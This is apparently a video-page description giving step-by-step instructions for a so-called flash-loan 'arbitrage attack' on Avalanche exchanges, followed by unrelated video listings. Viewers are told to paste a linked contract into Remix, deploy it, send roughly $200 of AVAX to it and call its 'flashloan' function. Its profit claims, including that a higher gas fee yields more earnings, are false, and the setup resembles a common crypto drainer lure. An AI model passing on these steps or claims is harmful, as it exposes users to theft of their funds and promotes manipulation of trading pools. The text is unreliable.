Premium Only Content
AVAX - Avalanche: Setting up a Multi DEX arbitrage attack using solidity
In this video you will see how to setup an arbitrage attack on two DEXs; You will create the coin on Pangolin and then trade this coin rapidly against SushiSwap. Be sure to make sure that you have metamask connected to Avalanche Mainnet and have AVAX in your wallet to fund the transaction.
*****NOTE: "Web 3 Injected" is now "Injected Provider" in Remix.
***NOTE: AVAX must be withdrawn to ‘AVAX C-Chain’. which is EVM/Metamask compatible chain
Setup Metamask to connect to Avalanche Mainnet –
https://support.avax.network/en/articles/4626956-how-do-i-set-up-metamask-on-avalanche
Smart Contract Code Link –
https://raw.githubusercontent.com/MC-Finance/contracts/main/AvaxArbitrageContract.sol
Remix Link –
http://remix.ethereum.org/
Pangolin –
https://pangolin.exchange/
Pangolin Github –
https://github.com/pangolindex
Flash Loan Explanation –
https://academy.binance.com/en/articles/what-are-flash-loans-in-defi
USD to AVAX –
https://coincodex.com/convert/avalanche/usd/
TO EARN MORE THAN THE AMOUNT IN THE VIDEO YOU CAN INCREASE GAS FEE
In this video, you can see how I used Flashloans to Arbitrage in Avalanche Mainnet by deploying Contract/Token to mask our arbitrage attack against Pangolin.
This worked for me. But TRY IT AT YOUR OWN RISK.
STEPS:
Before starting, install and setup MetaMask in Chrome Browser.
Open and setup Remix in browser (
https://remix.ethereum.org
)
Copy the Contract code (
https://raw.githubusercontent.com/MC-Finance/contracts/main/AvaxArbitrageContract.sol
)
Create new file in Remix and paste Contract code and wait for everything to load, Go to Solidity Compiler and Select compiler to 0.5.0+commit version and hit Compile.
In Deploy & Run Transactions, Select Injected Web3 in Environment dropdown menu to connect your MetaMask. On Deploy, Enter your token details and deploy the contract
Get the Contract address from Remix
Send 200$ish of Avalanche/AVAX to the contract for gas fee for all swaps (There are going to be many swaps to use all funds from out liquidity pools.
Call ‘flashloan’ function in Remix.
-
1:46:35
Badlands Media
1 day agoDevolution Power Hour Ep. 401: Trump’s Third Term, AI Judges & the New Revolution
447K90 -
4:44:53
MattMorseTV
14 hours ago $228.96 earned🔴Antifa action INBOUND.🔴
225K176 -
2:11:24
Tundra Tactical
17 hours ago $88.75 earnedTundra Nation Live - Tundra's Guns?? We Finally See What Tundra Shoots
61.7K4 -
2:44:07
BlackDiamondGunsandGear
16 hours agoAFTER HOURS ARMORY / Whiskey & Windage
35.1K3 -
23:56
marcushouse
1 day ago $28.11 earnedStarship Began the Demolition!? 🔥
53.4K7 -
17:59
JohnXSantos
1 day ago $8.70 earnedI Gave AI 14 Days to Build NEW $5K/MONTH Clothing Brand
35.1K4 -
2:44:07
DLDAfterDark
15 hours ago $42.45 earnedGun Talk - Whiskey & Windage - The "Long Range" Jouney - After Hours Armory
39K3 -
9:37
Film Threat
17 hours agoSHELBY OAKS REVIEW | Film Threat
25.3K12 -
35:40
The Mel K Show
12 hours agoMel K & Dr. Mary Talley Bowden MD | Heroes of the Plandemic: Doing What is Right No Matter the Cost | 10-25-25
59.8K18 -
3:06:20
FreshandFit
17 hours agoNetworking At Complex Con With DJ Akademiks
222K36